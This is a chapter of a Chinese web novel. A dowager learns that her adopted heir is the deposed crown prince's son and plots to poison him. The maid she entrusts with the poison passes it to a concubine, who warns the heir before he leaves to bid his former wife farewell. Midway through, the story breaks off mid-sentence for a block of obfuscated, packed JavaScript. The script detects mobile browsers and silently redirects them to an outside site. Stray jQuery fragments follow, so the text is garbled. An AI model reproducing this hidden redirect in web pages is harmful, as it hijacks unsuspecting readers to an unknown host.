24. 道别
作品:《和离后被前夫强取豪夺》 严氏出禅房时依然神魂不定,汤婆子上前扶了她,担忧地问:“老夫人,您这是怎么了?侧妃她……”
严氏一把捂住了汤婆子的嘴,紧张地摇了摇头,又看了看四周。
把汤婆子弄得心也提了起来:“我扶老夫人回房歇息一会儿。”
主仆二人进了宣宁侯府定的禅房,严氏坐下来,捂着胸口喘了半天气,才道:“你,你悄悄去看看芳儿在做什么?”
她们这次定了两间禅房,严若芳的屋子就在隔壁。
汤婆子扒在门口看了看,见严若芳正躺在床.上睡觉,小丫头坐在一旁打盹。
她蹑手蹑脚地回了屋,跟严氏说了。
严氏这才压低了声音,说道:“怎么办?她知道了!怎么办?”
把汤婆子说的一头雾水,谁知道了?知道什么了?
“就是贺儿的事儿,”严氏心悸不已,眼泪不受控制地流了下来,“她知道贺儿不是我的……”
“什么?”汤婆子大惊,“这不可能啊,当年,可只有我们三人知道。并且,崔巧那个小蹄子早就……”
“老夫人,您是不是会错意了?”
严氏使劲儿地摇摇头,怎么会会错意呢,人家连萧永贺的亲生父亲都查出来了。
她强自镇定着,凑到汤婆子耳边,低声把刚才的事儿说了,还掏出了那包药给汤婆子看。
汤婆子倒吸一口凉气,这……这也太匪夷所思了,谁能想到那一对穷汉夫妻抱着的孩子会是废太子的儿子呢。
严氏年轻时,因婚后多年不.孕,老太太给侯爷指了个通房,那通房去了边关伺候,不久就有了身孕,生下一子。
严氏急坏了,后来好不容易怀上了,她一心想要生个小公子,听人说紫华山的娘娘庙特别灵,只要诚心,即使肚中怀的是姐儿,也能变换成哥儿。
严氏每月都会去上香。心诚的很。
九个月时,严氏不听人劝,去上最后一次香,回来时下起了大雨,山路都被冲坏了。
严氏和汤婆子还有奶娘崔巧只能躲到路旁的一个破庙里避雨。严氏受了惊吓,发动了。荒山野岭,哪里去请产婆?
汤婆子和崔巧只能赶鸭子上架,替严氏接生。
严氏产下了一个哥儿,却一出生就没了气息。
正那时,破庙里来了一对农人打扮的夫妻,丈夫受了伤,身上都是血,妇人抱着一个孩子,说是到庙里进香,被滚落的山石砸到了,请求暂避。
严氏直勾勾地看着人家的孩子不转眼。汤婆子就起了心思。
妇人要给男人包扎伤口,请汤婆子帮忙抱一下孩子。
汤婆子见那孩子生得玉雪可爱,又是个看起来出生不久的男孩,就看向了严氏。
严氏点了点头。汤婆子就偷偷把两个孩子换了。
那对夫妇也是着急,包扎好伤口后,雨稍小些就抱起孩子走了,竟也没细看。
严氏本想着,以后她要是能再生一个哥儿,就想法儿把前面这一个送走,结果后来她再没能生个一男半女。
想着当年这一暮,汤婆子心底顿生一股寒气。窝藏废太子的儿子,那可是抄家灭族的大罪!
她看着严氏手里的药包,害怕道:“老夫人,这,这……这可怎么办?”
严氏闭了闭眼,将药包塞到了汤婆子手中:“红英啊,这事儿就交给你了。二保不是想做管事吗,以后我给两个铺子给他管。”
二保是汤婆子的儿子。
汤婆子手哆嗦着接过药包:“老夫人,您真忍心吗?世子爷他……到底是您看着长大的。”
“我能怎么办?他是我唯一的儿子。”严氏流着泪,低声喊着,“可是,我不能拿整个侯府的命去赔啊!”
“好了,你出去吧。我要躺一会儿。”严氏身心皆疲,浑身又酸又软,再不想说一句话。
汤婆子揣着药包出了门,又到隔壁屋门前,透过门缝看了看,严若芳依然睡着。
回了侯府后,汤婆子思来想去,觉得这事儿自己不能干。
这事儿要是不成,被世子发现了,她就是个死。
要是成了,以后侯爷回来查到世子的死因,她还是得死。
其实,侯府要是被抄家了,也与她不相干,她的身契,老夫人早发还给她了,她如今是自由身,随时可以跑路的。
但这事儿不办,老夫人那里怎么交代?
汤婆子小眼珠子一转,想到了一个办法。
她揣着药去了严若芳的院子。
红芙见她来了,打起帘子笑道:“这是什么风,竟然将汤妈妈吹来了。”
汤婆子作势要打:“就你促狭。”
严若芳手中拿着一把团扇,也起身迎道:“汤妈妈来了,快请坐。有什么事儿叫小丫头们跑一趟得了,还劳烦你亲自过来。”
汤婆子道:“不敢,不敢,姨娘快坐,我老婆子腿还利索着呢。”
她坐下闲聊了两句,就道:“红芙,我近日想做双鞋穿,旧鞋样子都坏了,你帮我去寻一副吧,我跟你家姨娘说几句体己话。”
红芙看了看严若芳,严若芳微一点头,她就退了下去。
汤婆子看屋里没人了,才神神秘秘地掏出一包药,道:“姨娘,这是我托人在娘娘庙静真师傅那里弄的药,只要给心爱的人吃了,以后他就会对你死心塌地。花了我十两银子呢。”
“是吗?”严若芳表面平静,心中却早已掀起了惊涛骇浪。
那天在崇华寺,汤婆子第一次在门外看她时,她就察觉到了。等汤婆子走后,她将耳朵贴在墙上仔细听,可惜有墙隔着,对方声音又小,她听不太清。
正着急时,突然发现墙上有块砖松动了,她将砖慢慢抽.出来,将严氏与汤婆子的话听了个真真切切。
她也被震得不轻,表哥竟然不是姑母的孩子,他是废太子的儿子!
并且,姑母竟真的打算毒死表哥!
回侯府后,她一直在思索,自己该怎么办。
表哥要是死了,她肚中的孩子不是表哥的这件事就无人知道了,并且,这孩子会成为侯府的继承人。
这对她来说,可以说是只有好处,没有坏处。
可那人毕竟是表哥,是她真心喜欢过的人。难道就这样眼睁睁看着他死?
她本打算不管的,却没有想过汤婆子会找上她,还如此骗她。
当她是个傻的不成?
“姨娘,怎么,你不信我么?”汤婆子将药往前推了推。
严若芳笑道:“我怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569345|170487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么会不信汤妈妈,我知道妈妈都是为了我好。静真师傅的药可是不好求。”
严若芳瞬间有了决定,她笑着接过药,又拿过一旁的钱匣子,找出一张二十两的银票递给汤婆子:“这银子妈妈拿去花。”
汤婆子推让了几番,就接了过来:“如此,老婆子就谢过姨娘了。”
她出了门,得意地捏了捏袖中的银票。
这主意真是太好了,简直是一石二鸟!既把这个烫手山芋甩了出去,还赚了二十两银子。
到了晚上,严若芳拿上药,去了外院书房。
她说有要事禀报,萧永贺正好也想问问她,孩子的事儿什么时候坦白,就让她进来了。
一进门,严若芳就跪在了地上,将在崇华寺遇到周侧妃,在禅房偷听,以及汤婆子给她药,骗她下给心爱之人的事都说了。
她不相信周侧妃的话,姑母是心中有鬼,才被她唬住了。表哥不是姑母亲生的,但也不可能是什么废太子的儿子。
那周侧妃分明是因为自己的弟弟被打后又被赶出京城,才要暗中报复表哥的。
“表哥,你赶快到饶州去寻侯爷吧,不然,留在府里只怕……”严若芳低泣着说道。
她心中盘算着,表哥即便不是侯府世子,只凭他的本事,在军中能做武将,考科举也能取得功名。
以后,他念在她的救命之恩,没准能娶她进门呢,那宋清音不就是因为救了他,才成了世子夫人吗?
萧永贺听了这话,却是如同听了晴天霹雳。
他竟然真的不是母亲的亲生孩儿。
他又想起了自己五、六岁时偷听到的,奶娘和汤婆子说的话。原来当时奶娘的那些话都是真的。
可即便自己真是什么废太子的儿子,母亲就如此绝情,毫不犹豫地就要除掉他吗?
他捂着自己的心口,那里如同刀绞一般。
“好,这件事,谢过你了,你起来吧。”萧永贺对严若芳道,“回去后,你就跟汤婆子说,药已经给我吃了。”
他要麻痹母亲,麻痹肃王,趁机偷偷去饶州,向父亲禀报此事。
送走了严若芳,已到了亥时,虽是夏天,天色也已经黑了下来。他思索了片刻,决定去后沿胡同一趟,跟清音见一面,跟她道个别。
他换了一身黑衣,提了一把剑,纵身上了房顶。
安平和安喜忙跟在他身后。
一路蹿房越脊,到了后沿胡同也没有敲门,而是从屋顶跳进院内。
宋清音一向警觉,听到房上有动静,早已抄起桌上的剑,站在门后喊了一声:“谁!?”
萧永贺站在院子里,回道:“音音,别怕,是我。”
宋清音先是松了一口气,然后又冷声道:“以后我不会再见你,你也别来找我了。”
严氏去宋清音铺子里闹的那一场,萧永贺后来也听说了。他自觉无颜见宋清音,这几日一直没有来过。
“音音,我来只是说一件事,说完就走,你不必出来。”萧永贺正要抬步走到门口去说,就听身后“吱呀”一声,只见周宜滨揉着眼睛,从门房处走了出来。
萧永贺吃了一惊:“你怎么在这里?”
他如今竟跟音音住一个院子了?萧永贺心中怦怦直跳。